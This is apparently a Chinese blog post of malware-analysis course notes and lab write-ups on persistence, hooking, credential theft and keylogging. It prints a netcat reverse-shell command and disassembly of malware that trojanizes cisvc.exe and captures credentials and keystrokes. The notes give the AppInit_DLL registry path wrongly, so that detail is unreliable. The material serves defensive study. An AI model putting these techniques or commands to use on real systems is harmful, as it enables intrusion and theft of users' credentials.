恶意代码行为


知识点

本章中会介绍恶意代码常见的恶意行为,方便我们识别各种各样的恶意程序。

下载器和启动器:常见的两种恶意代码是下载器和启动器。下载器从互联网上下载其他的恶意代码,然后在本地系统中运行,通常使用WindowsAPI函数URLDownloadtoFileAWinExec,来下载并运行新的恶意代码。启动器也成为加载器,是一类可执行文件,用来安装立即运行或者将来运行的恶意代码。

后门:后门可以让攻击者远程访问一个受害的机器。通常使用80端口的HTTP协议与控制机器进行通信。

反向Shell:反向Shell是从受害者主机发起的向攻击者连接,为攻击者提供被感染机器的访问权限,一般有如下反向弹Shell的方式:

  • NetCat:网络瑞士军刀,可以通过命令nc listener_ip 80 -e cmd.exe来弹Shell。
  • Windows反向Shell:使用cmd.exe作为反向Shell,首先创建一个套接字并于远程服务器简历连接。然后绑定这个套接字与cmd.exe的标准流再调用CreateProcess函数用隐藏窗口的方式创建cmd.exe。也可以使用多线程方式:使用CreatPipe来绑定一个通道的读写端,如标准输入标准输出,CreateProcess函数用来绑定一个管道与标准流,而不是直接与套接字绑定。调用CreateProcess方法,恶意代码会产生两个线程,一个用来从标准输入管道读取数据,并向套接字写数据,另外一个用来从一个套接字读数据,并向一个标准管道中写数据。通常这两个线程使用数据编码来混淆数据。

远程控制工具:远程控制工具RAT能被用来管理一台或者多台计算机。远程控制工具进场为了特定目标,如窃取信息或者旁路一个网络执行针对性的攻击。

僵尸网络:僵尸网络是被感染主机的一个集合。他们由单一实体控制,其目标同行是为了进行DDoS攻击。

登陆凭证窃密器:攻击者通常使用以下三种方法进行登陆凭证的窃取:

  • 等待用户登陆以窃取登陆凭证
  • 击键记录器
  • 转储Windows系统中存放的信息,如密码hash值,程序直接使用它或者对它进行离线爆破。

特殊注册表:恶意代码编写者可以通过一个名为AppInit_DLL特殊注册表项来让他们的DLL得到加载,此注册表项中的DLL程序回在进程加载User32.dll时被加载,AppInit_DLL位置如下:

1
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost

恶意代码编写者可以挂钩一个特殊的Winlogon Notify事件,如登陆、注销、关机、锁屏等,这些甚至允许恶意代码再安全模式下加载,以下注册表键中的注册表项包含Notify值:

1
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\

Windows所有的服务都存在与注册表中,恶意代码经常作为一个服务安装,安装的恶意代码作为svchost.exe的DLL来存活,这使得恶意代码可以与其他进程混淆,更像一个标准的服务。svchost.exe时从动态链接库中运行服务的通用主机进程,Windows操作系统通常用以时刻运行多个svchost.exe实例,每个实例包含一组服务,这些组定义子啊下列的注册表位置:

1
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost

服务被定义在如下位置:

1
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\ServiceName

特洛伊木马化(Trojanized)系统二进制文件:此技术可以直接修改系统的二进制文件,当被感染的二进制文件运行或加载时,将会强制运行恶意代码,恶意代码通常修改一个系统文件的函数入口点,使它跳转到恶意代码,这些修改补丁覆盖函数的开始代码或者覆盖其他的一些并不影响特洛伊木马化DLL正常操作的代码,为了不影响二进制文件的正常操作,恶意代码经常被加到一个可执行文件的空节中,插入的代码并不关心他被插入到感染的DLL的位置。加载恶意代码后,为了让DLL的操作与插入前的一致,代码会跳转回原始的DLL程序。

DLL加载顺序劫持:这是一种简单而隐蔽的指数,它允许恶意代码编写者再不适用注册表项或者特洛伊二进制文件的前提下创建一个存活的、恶意的DLL程序,这种技术甚至不需要单独的恶意加载器。以下是再Windows XP中加载DLL的默认搜索顺序:

  • 加载应用程序的目录
  • 当前目录
  • 系统目录(使用GetSystemDirectory函数获取的路径)
  • 16位子系统的系统目录
  • Windows目录
  • PATH环境变量中列出的目录

WindowsXP中利用KnownDLL注册表键可以跳过DLL的加载过程,这注册表键保护一些特定的DLL位置列表。DLL加载顺序劫持可以被System32之外的目录中的二进制文件利用,来加载未被KnownDLL保护的DLL程序。由于DLL递归导入的原因,很多DLL会在加载其他的DLL,而这些DLL按照默顺序加载,因此KnownDLL机制也不能得到充分的保护。

提权:多数提权攻击时利用本地系统已知漏洞或者0Day漏洞进行攻击。DLL加载顺序劫持也可以被用来进行提权操作,加入恶意DLL所在的目录是用户可写的,并且加载这个DLL的进程在一个高特权级上运行,那么DLL就获得了提权。

使用SeDebugPrivilege进行提权:在Windows系统中,访问令牌是一个包含进程安全描述符的对象,安全描述符用来指定拥有者的访问权限,SeDebugPrivilege特权作为一个系统级别调试的工具被创建,默认情况下,SeDebugPrivilege只赋给本地系统账户权限。普通的用户账号不能给自身赋予SeDebugPrivilege权限。

IAT Hook:这是一种在用户空间中很常见的Rootkit方法,它隐藏本地系统中的文件、进程以及网络连接,这种Hook方法修改导入地址表(IAT)或者导出地址表(EAT)从而改变程序的执行流程,但是这种方法很容易被检测出来。

Inline Hook:这种方法使用过覆盖导入DLL中的API函数的代码来实现的,所以它必须等到DLL被加载后才能执行。IAT Hook知识简单的修改函数指针,但是Inline Hook将修改实际的函数代码。恶意Rootkit通常使用一个跳转指令替换函数的开始代码来执行Inline Hook,这个跳转指令使Rootkit插入的恶意代码获取执行,另外Rootkit还可以通过改变函数的代码来破坏它或者改变它,而不是跳转到恶意代码。

课后练习

Lab11-1

分析恶意代码Lab11-01.exe

问题

1.这个恶意代码项磁盘释放了什么?

通过静态分析,在004010C9位置发现如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
.text:004010B8                 mov     eax, lpType
.text:004010BD push eax ; lpType
.text:004010BE mov ecx, lpName
.text:004010C4 push ecx ; lpName
.text:004010C5 mov edx, [ebp+hModule]
.text:004010C8 push edx ; hModule
.text:004010C9 call ds:FindResourceA
.text:004010CF mov [ebp+hResInfo], eax
.text:004010D2 cmp [ebp+hResInfo], 0
.text:004010D6 jnz short loc_4010DF
.text:004010D8 xor eax, eax
.text:004010DA jmp loc_4011BF
.text:004010DF ; ---------------------------------------------------------------------------
.text:004010DF
.text:004010DF loc_4010DF: ; CODE XREF: sub_401080+56↑j
.text:004010DF mov eax, [ebp+hResInfo]
.text:004010E2 push eax ; hResInfo
.text:004010E3 mov ecx, [ebp+hModule]
.text:004010E6 push ecx ; hModule
.text:004010E7 call ds:LoadResource
.text:004010ED mov [ebp+hResData], eax
.text:004010F0 cmp [ebp+hResData], 0
.text:004010F4 jnz short loc_4010FB
.text:004010F6 jmp loc_4011A5
.text:004010FB ; ---------------------------------------------------------------------------
.text:004010FB
.text:004010FB loc_4010FB: ; CODE XREF: sub_401080+74↑j
.text:004010FB mov edx, [ebp+hResData]
.text:004010FE push edx ; hResData
.text:004010FF call ds:LockResource

在资源节发现了名为TGAD的节,程序对此节进行了二进制资源的提取。

因此程序在磁盘上释放的文件是从资源节中提取出来的数据存储为msgina32.dll

2.这个恶意代码如何进行驻留?

根据如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
.text:00401004                 push    0               ; lpdwDisposition
.text:00401006 lea eax, [ebp+phkResult]
.text:00401009 push eax ; phkResult
.text:0040100A push 0 ; lpSecurityAttributes
.text:0040100C push 0F003Fh ; samDesired
.text:00401011 push 0 ; dwOptions
.text:00401013 push 0 ; lpClass
.text:00401015 push 0 ; Reserved
.text:00401017 push offset SubKey ; "SOFTWARE\\Microsoft\\Windows NT\\Curren"...
.text:0040101C push 80000002h ; hKey
.text:00401021 call ds:RegCreateKeyExA
.text:00401027 test eax, eax
.text:00401029 jz short loc_401032
.text:0040102B mov eax, 1
.text:00401030 jmp short loc_40107B
.text:00401032 mov ecx, [ebp+cbData]
.text:00401035 push ecx ; cbData
.text:00401036 mov edx, [ebp+lpData]
.text:00401039 push edx ; lpData
.text:0040103A push 1 ; dwType
.text:0040103C push 0 ; Reserved
.text:0040103E push offset ValueName ; "GinaDLL"
.text:00401043 mov eax, [ebp+phkResult]
.text:00401046 push eax ; hKey
.text:00401047 call ds:RegSetValueExA
.text:0040104D test eax, eax
.text:0040104F jz short loc_401062
.text:00401051 mov ecx, [ebp+phkResult]
.text:00401054 push ecx ; hObject
.text:00401055 call ds:CloseHandle

得知恶意代码写入注册表项SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon并设置了值GinaDLL

3.这个恶意代码如何窃取用户登陆凭证?

在msgina32.dll文件的导出函数中发现了大量的以Wlx开头的函数名:

这些函数都会调用函数sub_10001000(),此函数会直接将调用函数的名称用GetProcAddress函数在msgina.dll文件中查找此函数的地址并将执行流程交给目标函数,目标函数执行完成之后又会返回到恶意程序中,msgina32.dll中的大部分Wlx开头的函数都是这个结构,但是在函数WlxLoggedOutSAS中却不一样,在WlxLoggedOutSAS中调用了函数sub_10001570()向文件msutil32.sys存储了用户凭证的数据。

4.这个恶意代码对窃取的证书做了什么处理?

通过查看10001570处代码找到程序将窃取的证书存储在了一个名为msutil32.sys的文件中。

5.如何在你的测试环境让这个恶意代码获得用户登陆凭证?

函数WlxLoggedOutSAS的调用发生在用户注销时,因此我们注销重启后就能看到用户登陆凭证。

Lab11-2

分析恶意代码Lab11-02.dll。假设一个名为Lab11-02.ini的可疑文件与这个恶意代码一同被发现。

问题

1.这个恶意DLL导出了什么?

这个DLL有两个导出函数:

1
2
3
Name	Address	Ordinal
installer 1000158B 1
DllEntryPoint 100017E9 [main entry]

2.使用rundll32.exe安装这个恶意代码之后,发生了什么?

使用命令

1
rundll32.exe Lab11_02.dll, installer

程序会在SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs写入自身,并且将spoolvxx32.dll写入到系统目录中。

3.为了使这个恶意代码正确安装,Lab11-02.ini必须被放置在何处?

1
2
3
4
5
6
7
8
9
.text:1000166F                 push    0               ; hTemplateFile
.text:10001671 push 80h ; dwFlagsAndAttributes
.text:10001676 push 3 ; dwCreationDisposition
.text:10001678 push 0 ; lpSecurityAttributes
.text:1000167A push 1 ; dwShareMode
.text:1000167C push 80000000h ; dwDesiredAccess
.text:10001681 mov eax, [ebp+Dest]
.text:10001684 push eax ; lpFileName
.text:10001685 call ds:CreateFileA

此处程序会尝试访问系统目录下的Lab11-02.ini文件,如果此文件存在则继续执行,否则退出,因此我们需要将Lab11-02.ini放在系统目录下。

4.这个安装的恶意代码如何驻留?

通过在注册表SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs中添加spoolvxx32.dll

5.这个恶意代码采用的用户态Rootkit技术是什么?

Inline Hook

6.挂钩代码做了什么?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
.text:10001203                 push    ebp
.text:10001204 mov ebp, esp
.text:10001206 sub esp, 0Ch
.text:10001209 mov eax, [ebp+arg_4]
.text:1000120C sub eax, [ebp+lpAddress]
.text:1000120F sub eax, 5
.text:10001212 mov [ebp+var_4], eax
.text:10001215 lea ecx, [ebp+flOldProtect]
.text:10001218 push ecx ; lpflOldProtect
.text:10001219 push 40h ; flNewProtect
.text:1000121B push 5 ; dwSize
.text:1000121D mov edx, [ebp+lpAddress]
.text:10001220 push edx ; lpAddress
.text:10001221 call ds:VirtualProtect
.text:10001227 push 0FFh ; Size
.text:1000122C call malloc
.text:10001231 add esp, 4
.text:10001234 mov [ebp+var_8], eax
.text:10001237 mov eax, [ebp+var_8]
.text:1000123A mov ecx, [ebp+lpAddress]
.text:1000123D mov [eax], ecx
.text:1000123F mov edx, [ebp+var_8]
.text:10001242 mov byte ptr [edx+4], 5
.text:10001246 push 5 ; Size
.text:10001248 mov eax, [ebp+lpAddress]
.text:1000124B push eax ; Src
.text:1000124C mov ecx, [ebp+var_8]
.text:1000124F add ecx, 5
.text:10001252 push ecx ; Dst
.text:10001253 call memcpy
.text:10001258 add esp, 0Ch
.text:1000125B mov edx, [ebp+var_8]
.text:1000125E mov byte ptr [edx+0Ah], 0E9h
.text:10001262 mov eax, [ebp+lpAddress]
.text:10001265 sub eax, [ebp+var_8]
.text:10001268 sub eax, 0Ah
.text:1000126B mov ecx, [ebp+var_8]
.text:1000126E mov [ecx+0Bh], eax
.text:10001271 mov edx, [ebp+lpAddress]
.text:10001274 mov byte ptr [edx], 0E9h
.text:10001277 mov eax, [ebp+lpAddress]
.text:1000127A mov ecx, [ebp+var_4]
.text:1000127D mov [eax+1], ecx
.text:10001280 lea edx, [ebp+flOldProtect]
.text:10001283 push edx ; lpflOldProtect
.text:10001284 mov eax, [ebp+flOldProtect]
.text:10001287 push eax ; flNewProtect
.text:10001288 push 5 ; dwSize
.text:1000128A mov ecx, [ebp+lpAddress]
.text:1000128D push ecx ; lpAddress
.text:1000128E call ds:VirtualProtect
.text:10001294 mov edx, [ebp+var_8]
.text:10001297 add edx, 5
.text:1000129A mov eax, [ebp+arg_8]
.text:1000129D mov [eax], edx
.text:1000129F mov esp, ebp
.text:100012A1 pop ebp
.text:100012A2 retn

7.哪个文件或者哪些进程执行这个恶意攻击。为什么?

程序会对比当前进程名是否与THEBAT.EXEOUTLOOK.EXEMSIMN.EXE其中的任意一个相同,如果相同则运行恶意代码,否则退出。

1
2
3
4
5
6
7
8
if ( !memcmp(Buf1, aThebatExe_0, v2)      // THEBAT.EXE
|| (v3 = strlen(aOutlookExe), !memcmp(Buf1, aOutlookExe_0, v3))// OUTLOOK.EXE
|| (v4 = strlen(aMsimnExe), !memcmp(Buf1, aMsimnExe_0, v4)) )// MSIMN.EXE
{
Proc_thread_sub_100013BD();
sub_100012A3(ModuleName, aSend, sub_1000113D, &dword_10003484);
sub_10001499();
}

8..ini文件的意义是什么?

代码读取.ini文件中的数据,通过函数sub_100010B3进行解密得出一个邮箱地址`billy@malwareanalysisbook.com`。

9.你怎样使用WireShark动态抓取这个恶意代码的行为?

打开WireShark并用outlook发送邮件。

Lab11-3

分析恶意代码Lab11-03.exe和Lab11-03.dll。确保这两个文件在分析时位于同一个目录中。

问题

1.使用基础的静态分析过程,你可以发现什么有趣的线索?

在Lab11-03.exe中发现了一些有意思的字符串:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Address	Length	Type	String
.rdata:004080E8 00000008 C cmd.exe
.rdata:004080F0 0000000C C command.com
.rdata:00408100 00000008 C COMSPEC
.rdata:00408118 00000005 C PATH
.rdata:00408128 00000005 C .exe
.rdata:00408130 00000005 C .bat
.rdata:00408138 00000005 C .cmd
.data:00409139 00000024 C C:\\WINDOWS\\System32\\inet_epar32.dll
.data:0040915D 0000000C C zzz69806582
.data:00409174 00000010 C net start cisvc
.data:00409184 00000017 C C:\\WINDOWS\\System32\\%s
.data:0040919C 0000000A C cisvc.exe
.data:004091A8 0000000D C Lab11-03.dll
.data:004091B8 00000024 C C:\\WINDOWS\\System32\\inet_epar32.dll

Lab11-03.dll中的字符串:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
.rdata:1000754C	00000008	C	H:mm:ss
.rdata:10007554 00000014 C dddd, MMMM dd, yyyy
.rdata:10007568 00000007 C M/d/yy
.rdata:10007578 00000009 C December
.rdata:10007584 00000009 C November
.rdata:10007590 00000008 C October
.rdata:10007598 0000000A C September
.rdata:100075A4 00000007 C August
.rdata:100075AC 00000005 C July
.rdata:100075B4 00000005 C June
.rdata:100075BC 00000006 C April
.rdata:100075C4 00000006 C March
.rdata:100075CC 00000009 C February
.rdata:100075D8 00000008 C January
.rdata:10007610 00000009 C Saturday
.rdata:1000761C 00000007 C Friday
.rdata:10007624 00000009 C Thursday
.rdata:10007630 0000000A C Wednesday
.rdata:1000763C 00000008 C Tuesday
.rdata:10007644 00000007 C Monday
.rdata:1000764C 00000007 C Sunday
.rdata:10007670 00000016 C SunMonTueWedThuFriSat
.rdata:10007688 00000025 C JanFebMarAprMayJunJulAugSepOctNovDec
.rdata:1000785C 0000000D C KERNEL32.dll
.rdata:100078A6 0000000B C USER32.dll
.rdata:10007C82 0000000F C Lab1103dll.dll
.rdata:10007C91 0000000C C zzz69806582
.data:10008030 00000006 C 0x%x
.data:10008038 00000009 C <SHIFT>
.data:10008044 00000008 C %s: %s\n
.data:1000804C 00000022 C C:\\WINDOWS\\System32\\kernel64x.dll

程序导入了GetAsyncKeyState函数,因此可能是一个键盘窃听器。

2.当运行这个恶意代码时,发生了什么?

运行ProcessMonitor并运行这个恶意代码可以找出如下行为:

  • 程序将自身复制到C:\\WINDOWS\\System32\\inet_epar32.dll
  • 对文件C:\\WINDOWS\\System32\\kernel64x.dll进行写操作
  • 对文件C:\\WINDOWS\\System32\\cisvc.exe进行写操作

3.Lab11-03.exe如何安装Lab11-03.dll使其长期驻留?

将Lab11-03.exe加载到IDA中可以看到:

1
2
3
4
5
6
7
8
9
10
int __cdecl main(int argc, const char **argv, const char **envp)
{
CHAR FileName; // [esp+0h] [ebp-104h]

CopyFileA(ExistingFileName, NewFileName, 0);
sprintf(&FileName, aCWindowsSystem_0, aCisvcExe);
sub_401070(&FileName);
system(aNetStartCisvc);
return 0;
}

程序先将Lab11-03.dll拷贝到C:\WINDOWS\System32\inet_epar32.dll,然后又打开了cisvc.exe的句柄,将此句柄作为函数 sub_401070的参数门之后又使用net start cisvc命令启动了cisvc服务,结合之前的分析我们可以猜测恶意代码对cisvc进行了修改,因此把分析的重点放到函数sub_401070上。

从IDA为 sub_401070生成的伪c代码来看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
int __cdecl sub_401070(LPCSTR lpFileName)
{
int result; // eax
HANDLE hFile; // [esp+Ch] [ebp-2Ch]
int v3; // [esp+10h] [ebp-28h]
int v4; // [esp+14h] [ebp-24h]
unsigned int i; // [esp+18h] [ebp-20h]
_DWORD *v6; // [esp+24h] [ebp-14h]
DWORD dwMaximumSizeLow; // [esp+28h] [ebp-10h]
HANDLE hFileMappingObject; // [esp+2Ch] [ebp-Ch]
_DWORD *lpBaseAddress; // [esp+34h] [ebp-4h]

hFile = CreateFileA(lpFileName, 0xC0000000, 1u, 0, 4u, 0x80u, 0);
if ( hFile == -1 )
return -1;
dwMaximumSizeLow = GetFileSize(hFile, 0);
hFileMappingObject = CreateFileMappingA(hFile, 0, 4u, 0, dwMaximumSizeLow, 0);
if ( hFileMappingObject == -1 )
{
CloseHandle(hFile);
result = -1;
}
else
{
lpBaseAddress = MapViewOfFile(hFileMappingObject, 6u, 0, 0, dwMaximumSizeLow);
if ( lpBaseAddress )
{
v4 = lpBaseAddress + lpBaseAddress[15];
v6 = sub_401000((v4 + *(v4 + 20) + 24), *(v4 + 6));
if ( v6 )
{
if ( *(v4 + 40) )
{
if ( v6[4] > 0x13Au )
{
if ( (v6[4] - v6[2]) >= 0x13A )
{
v3 = v6[2] + v6[5];
for ( i = 0; i < 0x13A; ++i )
{
if ( *(&dword_409030 + i) == 0x78
&& *(&dword_409030 + i + 1) == 0x56
&& *(&dword_409030 + i + 2) == 0x34
&& *(&dword_409030 + i + 3) == 0x12 )
{
*(&dword_409030 + i) = v6[5] + *(v4 + 40) - *(v4 + 44) - (v3 + i + 4);
break;
}
}
qmemcpy(lpBaseAddress + v3, &dword_409030, 0x13Au);
*(v4 + 40) = *(v4 + 44) + v3 - v6[5];
CloseHandle(hFile);
CloseHandle(hFileMappingObject);
UnmapViewOfFile(lpBaseAddress);
result = 0;
}
else
{
result = -1;
}
}
else
{
result = -1;
}
}
else
{
result = -1;
}
}
else
{
CloseHandle(hFile);
CloseHandle(hFileMappingObject);
UnmapViewOfFile(lpBaseAddress);
result = -1;
}
}
else
{
CloseHandle(hFile);
CloseHandle(hFileMappingObject);
UnmapViewOfFile(0);
result = -1;
}
}
return result;
}

函数将文件cisvc.exe映射到内存之后对此文件进行了一些列的修改行为,但是由于代码又很多混淆,不容易进行静态分析,因此需要进行动态分析,载入OD中函数sub_401070下断点并进行单步调试,发现Lab11-03.exe会先查找cisvc.exe的PE头再查找到.text,然后在此位置有一个较为复杂的循环写值的操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
.text:004011FF                 cmp     [ebp+var_20], 13Ah
.text:00401206 jnb short loc_40127C
.text:00401208 mov edx, [ebp+var_20]
.text:0040120B xor eax, eax
.text:0040120D mov al, byte ptr dword_409030[edx] ; shellcode
.text:00401213 cmp eax, 78h
.text:00401216 jnz short loc_401277
.text:00401218 mov ecx, [ebp+var_20]
.text:0040121B xor edx, edx
.text:0040121D mov dl, byte ptr (dword_409030+1)[ecx]
.text:00401223 cmp edx, 56h
.text:00401226 jnz short loc_401277
.text:00401228 mov eax, [ebp+var_20]
.text:0040122B xor ecx, ecx
.text:0040122D mov cl, byte ptr (dword_409030+2)[eax]
.text:00401233 cmp ecx, 34h
.text:00401236 jnz short loc_401277
.text:00401238 mov edx, [ebp+var_20]
.text:0040123B xor eax, eax
.text:0040123D mov al, byte ptr (dword_409030+3)[edx]
.text:00401243 cmp eax, 12h
.text:00401246 jnz short loc_401277
.text:00401248 mov ecx, [ebp+var_24]
.text:0040124B mov edx, [ecx+28h]
.text:0040124E mov eax, [ebp+var_14]
.text:00401251 add edx, [eax+14h]
.text:00401254 mov ecx, [ebp+var_24]
.text:00401257 sub edx, [ecx+2Ch]
.text:0040125A mov eax, [ebp+var_20]
.text:0040125D mov ecx, [ebp+var_28]
.text:00401260 lea eax, [ecx+eax+4]
.text:00401264 sub edx, eax
.text:00401266 mov [ebp+var_30], edx
.text:00401269 mov ecx, [ebp+var_20]
.text:0040126C mov edx, [ebp+var_30]
.text:0040126F mov dword_409030[ecx], edx
.text:00401275 jmp short loc_40127C

修改前:

修改后:

使用HexCmp工具查看这两个二进制文件的区别(淡红色区域):

经过一步一步对比发现这些新的shellcode是位于004011FF的代码进行的,恶意代码对此文件的入口点进行了修改,由原来的129B修改为了1A28:

在OD中打开修改后的文件cisvc.exe看到如下shellcode

1
2
3
4
5
6
7
8
9
10
11
12
01001B0A   .  FF55 FC       call dword ptr ss:[ebp-0x4]              ;  kernel32.LoadLibraryExA
01001B0D . 8945 F0 mov dword ptr ss:[ebp-0x10],eax ; inet_epa.10000000
01001B10 . 8D83 24000000 lea eax,dword ptr ds:[ebx+0x24]
01001B16 . 50 push eax ; inet_epa.10000000
01001B17 . 8B45 F0 mov eax,dword ptr ss:[ebp-0x10] ; inet_epa.10000000
01001B1A . 50 push eax ; inet_epa.10000000
01001B1B . FF55 F4 call dword ptr ss:[ebp-0xC] ; kernel32.GetProcAddress
01001B1E . 8945 F8 mov dword ptr ss:[ebp-0x8],eax ; inet_epa.10000000
01001B21 . FF55 F8 call dword ptr ss:[ebp-0x8]
01001B24 . 89EC mov esp,ebp
01001B26 . 5D pop ebp
01001B27 .^ E9 6FF7FFFF jmp cisvc.0100129B

cisvc.exe现时使用LoadLibrary函数将C:\WINDOWS\System32\inet_epar32.dll加载到内存中然后获取导出函数zzz69806582的地址并执行此函数,之后在跳转到正常的程序入口点,从而使恶意代码达到长期驻留的目的。

4.这个恶意代码感染Windows系统的哪个文件?

cisvc.exe

5.Lab11-03.dll做了什么?

名为的导出函数zzz69806582创建了一个线程,我们集中分析这个函数:

1
2
3
4
BOOL zzz69806582()
{
return CreateThread(0, 0, (LPTHREAD_START_ROUTINE)StartAddress, 0, 0, 0) == 0;
}

函数会创建一个MZ的互斥量:

1
2
3
4
push    offset Name     ; "MZ"
push 0 ; bInheritHandle
push 1F0001h ; dwDesiredAccess
call ds:OpenMutexA

C:\\WINDOWS\\System32\\kernel64x.dll加载到内存中:

1
2
3
4
5
6
7
8
push    0
push 80h ; dwFlagsAndAttributes
push 4 ; dwCreationDisposition
push 0 ; lpSecurityAttributes
push 1 ; dwShareMode
push 0C0000000h ; dwDesiredAccess
push offset FileName ; "C:\\WINDOWS\\System32\\kernel64x.dll"
call ds:CreateFileA

将文件指针指向C:\\WINDOWS\\System32\\kernel64x.dll的末尾:

1
2
3
4
5
6
push    2
push 0 ; lpDistanceToMoveHigh
push 0 ; lDistanceToMove
mov eax, [ebp+hFile]
push eax ; hFile
call ds:SetFilePointer

循环调用函数sub_10001380进行键盘敲击记录:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
signed int __cdecl sub_10001380(int a1)
{
DWORD NumberOfBytesWritten; // [esp+4h] [ebp-404h]
char Buffer; // [esp+8h] [ebp-400h]

while ( !sub_10001030(a1) )
{
if ( *(_DWORD *)a1 )
{
sprintf(&Buffer, aSS, a1 + 4, a1 + 1032);
WriteFile(*(HANDLE *)(a1 + 2060), &Buffer, strlen(&Buffer), &NumberOfBytesWritten, 0);
}
Sleep(0xAu);
}
return 1;
}

6.这个恶意代码将收集的数据存放在何处?

C:\\WINDOWS\\System32\\kernel64x.dll

本章结束🎊

评论

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×